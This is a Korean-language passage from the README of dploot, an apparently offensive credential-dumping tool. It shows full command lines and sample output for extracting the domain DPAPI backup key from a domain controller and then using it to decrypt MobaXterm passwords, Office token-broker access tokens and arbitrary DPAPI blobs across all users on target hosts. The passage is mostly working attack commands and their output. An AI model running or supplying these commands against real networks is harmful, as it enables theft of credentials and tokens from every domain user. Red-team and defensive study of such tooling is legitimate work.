**backupkey** 명령은 [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc)를 사용하여 도메인 컨트롤러에서 도메인 DPAPI 백업 키를 검색합니다. 이 키는 변경되지 않으며 모든 도메인 사용자 DPAPI 보호 비밀을 해독할 수 있습니다. Domain Admin 권한이 필요합니다.
기본적으로 이 명령은 도메인 백업 키를 key.pvk라는 파일에 기록하지만 `outputfile` 플래그로 변경할 수 있습니다. `legacy` 플래그를 사용하여 레거시 백업 키를 덤프하는 것도 가능합니다.```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)
[DOMAIN BACKUPKEY V2]
PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}
[-] Exporting domain backupkey to file key.pvk
mobaxterm 명령은 hive(HKU)에서 MobaXterm 시크릿과 마스터 비밀번호 키를 추출하고, 하나 이상의 {GUID}:SHA1 형식의 -mkfile FILE, user:password 조합의 -passwords FILE, user:nthash 조합의 -nthashes, 또는 먼저 마스터키를 해독하기 위한 -pvk PVKFILE로 이를 복호화합니다. 사용자가 원격 대상에 연결되어 있지 않은 경우, dploot는 NTUSER.dat에서 시크릿을 다운로드하고 추출합니다.
pvk 사용 시:```text
dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e
[*] Triage MobaXterm Secrets
[MOBAXTERM CREDENTIAL] Name: TEST Username: user Password: waza1234
[MOBAXTERM PASSWORD] Username: mobauser@mobaserver Password: 309554moba231082pass322883
### wam
**wam** 명령은 Token Broker Cache에서 TBRES 파일을 검색하고, `-mkfile FILE`을 사용하여 하나 이상의 {GUID}:SHA1을 지정해 해당 내용을 복호화합니다. 또는 `-passwords FILE`로 user:password 조합, `-nthashes`로 user:nthash 조합, `-pvk PVKFILE`을 사용하여 먼저 마스터키를 복호화할 수도 있습니다.
`pvk` 사용 시:```text
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
[*] Triage Office Token Broken Cache for ALL USERS
[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]
팁: Entra 사용자의 Microsoft 액세스 토큰은 TBRES 파일에서 찾을 수 있습니다.
blob 명령은 -mkfile FILE로 하나 이상의 {GUID}:SHA1, -masterkey {GUID}:SHA1, 또는 -passwords FILE의 user:password 조합, -nthashes의 user:nthash 조합, 또는 -pvk PVKFILE을 사용하여 먼저 마스터키를 복호화한 후 DPAPI blob을 복호화합니다.
pvk 사용:```text
dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]'
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
[*] Trying to decrypt DPAPI blob
[BLOB] Version : 1 (1) Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB MasterKeyVersion : 1 (1) Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B Flags : 0 () Description : CryptAlgo : 00006603 (26115) (CALG_3DES) Salt : b'a5a15df8f0fb606897f28966dd5fcd9e' HMacKey : b'' HashAlgo : 00008004 (32772) (CALG_SHA) HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a' Data : b'5ece8ce1dd8[...]
Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'
***팁***: *Entra 사용자의 Microsoft 액세스 토큰은 TBRES 파일에서 찾을 수 있습니다.*
## 크레딧
이 도구를 작성하는 데 많은 도움을 준 프로젝트들입니다:
- [Impacket](https://github.com/SecureAuthCorp/impacket) - 커뮤니티 제작
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) - [Harmj0y](https://twitter.com/harmj0y) 제작
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/) - [gentilkiwi](https://twitter.com/gentilkiwi) 제작
- [DonPAPI](https://github.com/login-securite/DonPAPI) - [LoginSecurite](https://twitter.com/LoginSecurite) 제작
- [WAMBam](https://github.com/xpn/WAMBam) - [_xpn_](https://twitter.com/_xpn_) 제작